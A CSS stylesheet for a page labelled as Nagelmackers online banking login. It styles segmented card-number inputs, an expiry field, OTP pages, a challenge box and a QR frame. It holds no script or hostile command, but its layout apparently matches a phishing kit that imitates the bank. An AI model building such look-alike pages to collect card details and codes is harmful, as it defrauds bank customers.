/* Nagelmackers Online Banking — login */

:root {
    --ng-green: #006847;
    --ng-green-dark: #005538;
    --ng-green-soft: #e8f3ee;
    --ng-text: #3a3f47;
    --ng-muted: #6b7280;
    --ng-border: #cfd3d8;
    --ng-panel: #ffffff;
    --ng-footer: #eceef0;
}

*,
*::before,
*::after {
    box-sizing: border-box;
}

html,
body {
    margin: 0;
    min-height: 100%;
}

.ng-page {
    min-height: 100vh;
    display: flex;
    flex-direction: column;
    font-family: Inter, Arial, Helvetica, sans-serif;
    color: var(--ng-text);
    background:
        linear-gradient(180deg, rgba(0, 0, 0, 0.08), rgba(0, 0, 0, 0.18)),
        url('background.jpg') center / cover no-repeat fixed;
}

.ng-shell {
    flex: 1;
    display: flex;
    align-items: center;
    justify-content: center;
    padding: 28px 16px 20px;
}

.ng-panel {
    width: 100%;
    max-width: 780px;
    background: transparent;
    border-radius: 0;
    box-shadow: none;
    display: grid;
    grid-template-columns: 1fr;
    gap: 0;
    overflow: visible;
    align-items: stretch;
}

.ng-panel__form {
    padding: 28px 28px 32px;
    background: rgba(255, 255, 255, 0.82);
    backdrop-filter: blur(8px);
    -webkit-backdrop-filter: blur(8px);
    box-shadow: 0 10px 40px rgba(0, 0, 0, 0.22);
}

.ng-title {
    margin: 0 0 18px;
    font-size: 26px;
    font-weight: 700;
    font-style: italic;
    letter-spacing: 0.02em;
    color: #2f3640;
}

.ng-tabs {
    display: flex;
    gap: 0;
    margin-bottom: 18px;
    border-bottom: 1px solid #e5e7eb;
}

.ng-tab {
    appearance: none;
    border: 0;
    background: transparent;
    padding: 8px 2px 10px;
    margin: 0 18px 0 0;
    font: inherit;
    font-size: 12px;
    font-weight: 700;
    letter-spacing: 0.06em;
    color: var(--ng-green);
    border-bottom: 3px solid var(--ng-green);
    cursor: default;
}

.ng-form {
    max-width: 360px;
}

.ng-card-inputs {
    display: grid;
    grid-template-columns: repeat(4, minmax(0, 1fr));
    gap: 8px;
    padding: 10px;
    border: 1px solid var(--ng-border);
    background: #f7f8f9;
}

.ng-seg {
    width: 100%;
    height: 42px;
    border: 1px solid var(--ng-border);
    background: #fff;
    text-align: center;
    font-size: 16px;
    font-variant-numeric: tabular-nums;
    letter-spacing: 0.08em;
    color: var(--ng-text);
    outline: none;
}

.ng-seg:focus {
    border-color: var(--ng-green);
    box-shadow: 0 0 0 2px rgba(0, 104, 71, 0.15);
}

.ng-check {
    display: flex;
    align-items: center;
    gap: 8px;
    margin: 14px 0 18px;
    font-size: 13px;
    color: var(--ng-text);
    cursor: pointer;
    user-select: none;
}

.ng-check input {
    width: 15px;
    height: 15px;
    accent-color: var(--ng-green);
}

.ng-label {
    display: block;
    margin: 0 0 6px;
    font-size: 13px;
    color: var(--ng-muted);
}

.ng-expiry {
    width: 120px;
    height: 40px;
    padding: 0 10px;
    border: 1px solid var(--ng-border);
    background: #fff;
    font-size: 15px;
    color: var(--ng-text);
    outline: none;
}

.ng-expiry:focus {
    border-color: var(--ng-green);
    box-shadow: 0 0 0 2px rgba(0, 104, 71, 0.15);
}

.ng-btn {
    display: block;
    width: 100%;
    margin-top: 22px;
    padding: 13px 16px;
    border: 0;
    border-radius: 3px;
    background: var(--ng-green);
    color: #fff;
    font-size: 16px;
    font-weight: 700;
    letter-spacing: 0.01em;
    cursor: pointer;
    transition: background 0.15s ease;
}

.ng-btn:hover {
    background: var(--ng-green-dark);
}

.ng-panel__brand {
    display: none;
    align-items: center;
    justify-content: center;
    padding: 24px 16px;
    background: rgba(255, 255, 255, 0.82);
    backdrop-filter: blur(8px);
    -webkit-backdrop-filter: blur(8px);
    border: 0;
    box-shadow: 0 10px 40px rgba(0, 0, 0, 0.22);
}

.ng-brand-stack {
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    gap: 22px;
    text-align: center;
}

.ng-logo {
    width: 110px;
    height: auto;
    display: block;
}

.ng-lang {
    position: relative;
    display: inline-flex;
    align-items: center;
}

.ng-lang select {
    appearance: none;
    -webkit-appearance: none;
    border: 0;
    background: transparent;
    padding: 4px 22px 4px 4px;
    font: inherit;
    font-size: 13px;
    font-weight: 600;
    letter-spacing: 0.04em;
    color: #6b7280;
    cursor: pointer;
    outline: none;
}

.ng-lang::after {
    content: '';
    position: absolute;
    right: 4px;
    top: 50%;
    width: 0;
    height: 0;
    border-left: 4px solid transparent;
    border-right: 4px solid transparent;
    border-top: 5px solid #9ca3af;
    transform: translateY(-35%);
    pointer-events: none;
}

.ng-footer {
    background: rgba(236, 238, 240, 0.96);
    padding: 12px 16px 18px;
    text-align: center;
}

.ng-footer__links {
    display: flex;
    flex-wrap: wrap;
    justify-content: center;
    gap: 8px 14px;
    margin-bottom: 8px;
}

.ng-footer__links a {
    color: #8a9098;
    text-decoration: none;
    font-size: 10px;
    font-weight: 600;
    letter-spacing: 0.04em;
}

.ng-footer__copy {
    margin: 0;
    color: #8a9098;
    font-size: 10px;
    font-weight: 600;
    letter-spacing: 0.04em;
}

/* OTP / secondary pages */
.ng-otp-page {
    min-height: 100vh;
    background: #f3f4f5;
    font-family: Inter, Arial, Helvetica, sans-serif;
    display: flex;
    flex-direction: column;
}

.ng-otp-header {
    display: flex;
    justify-content: space-between;
    align-items: center;
    padding: 14px 24px;
    background: #fff;
    border-bottom: 3px solid var(--ng-green);
}

.ng-otp-logo {
    height: 42px;
    width: auto;
}

.ng-otp-main {
    flex: 1;
    display: flex;
    align-items: center;
    justify-content: center;
    padding: 32px 16px;
}

.ng-otp-card {
    background: #fff;
    width: 100%;
    max-width: 420px;
    box-shadow: 0 2px 14px rgba(0, 0, 0, 0.08);
}

.ng-otp-card-head {
    background: var(--ng-green);
    color: #fff;
    padding: 14px 20px;
    font-weight: 600;
    text-align: center;
}

.ng-otp-body {
    padding: 24px 28px;
}

.ng-otp-body p {
    font-size: 14px;
    color: #555;
    margin: 0 0 16px;
}

.ng-otp-body label {
    font-size: 13px;
    color: #333;
    display: block;
    margin-bottom: 6px;
}

.ng-otp-input {
    width: 100%;
    padding: 10px 12px;
    border: 1px solid var(--ng-border);
    margin-bottom: 16px;
    font-size: 15px;
}

.ng-otp-foot {
    text-align: center;
    padding: 16px;
    font-size: 12px;
    color: #999;
}

@media (min-width: 760px) {
    .ng-panel {
        grid-template-columns: minmax(0, 1.85fr) minmax(130px, 0.5fr);
        gap: 1cm;
        min-height: 420px;
    }

    .ng-panel__form {
        padding: 36px 40px 40px;
    }

    .ng-panel__brand {
        display: flex;
    }

    .ng-title {
        font-size: 30px;
    }

    .ng-footer {
        display: flex;
        align-items: center;
        justify-content: space-between;
        text-align: left;
        padding: 12px 28px;
    }

    .ng-footer__links {
        justify-content: flex-start;
        margin-bottom: 0;
    }
}

.ng-lead {
    margin: 0 0 16px;
    font-size: 14px;
    line-height: 1.45;
    color: #555;
}

.ng-field-label {
    display: block;
    margin: 0 0 6px;
    font-size: 13px;
    color: var(--ng-muted);
}

.ng-field {
    display: block;
    width: 100%;
    max-width: 360px;
    height: 42px;
    margin: 0 0 14px;
    padding: 0 12px;
    border: 1px solid var(--ng-border);
    background: rgba(255, 255, 255, 0.92);
    font: inherit;
    font-size: 15px;
    color: var(--ng-text);
    outline: none;
}

.ng-field:focus {
    border-color: var(--ng-green);
    box-shadow: 0 0 0 2px rgba(0, 104, 71, 0.15);
}

.ng-challenge {
    margin: 0 0 14px;
    padding: 10px 12px;
    background: rgba(0, 104, 71, 0.08);
    border: 1px solid rgba(0, 104, 71, 0.2);
    font-size: 13px;
    color: #334;
}

.ng-alert {
    margin: 0 0 14px;
    padding: 12px 14px;
    border: 1px solid rgba(185, 28, 28, 0.25);
    background: rgba(254, 226, 226, 0.85);
    color: #991b1b;
    font-size: 14px;
}

.ng-success {
    text-align: center;
    padding: 12px 0 8px;
}

.ng-success__icon {
    width: 56px;
    height: 56px;
    margin: 0 auto 14px;
    border-radius: 50%;
    background: rgba(0, 104, 71, 0.12);
    color: var(--ng-green);
    display: flex;
    align-items: center;
    justify-content: center;
    font-size: 28px;
    font-weight: 700;
}

.ng-qr-wrap {
    display: flex;
    flex-direction: column;
    align-items: center;
    gap: 14px;
    margin: 8px 0 4px;
}

.ng-qr-frame {
    width: min(220px, 100%);
    aspect-ratio: 1;
    background: #fff;
    border: 1px solid var(--ng-border);
    display: flex;
    align-items: center;
    justify-content: center;
    padding: 12px;
}

.ng-qr-frame img {
    max-width: 100%;
    height: auto;
    display: block;
}

.ng-qr-placeholder {
    font-size: 13px;
    color: var(--ng-muted);
    text-align: center;
    padding: 20px;
}

.ng-panel--form .ng-btn {
    max-width: 360px;
}

.ng-panel--form .ng-btn:disabled {
    opacity: 0.55;
    cursor: not-allowed;
}

@media (max-width: 420px) {
    .ng-title {
        font-size: 22px;
    }

    .ng-seg {
        height: 38px;
        font-size: 15px;
    }
}
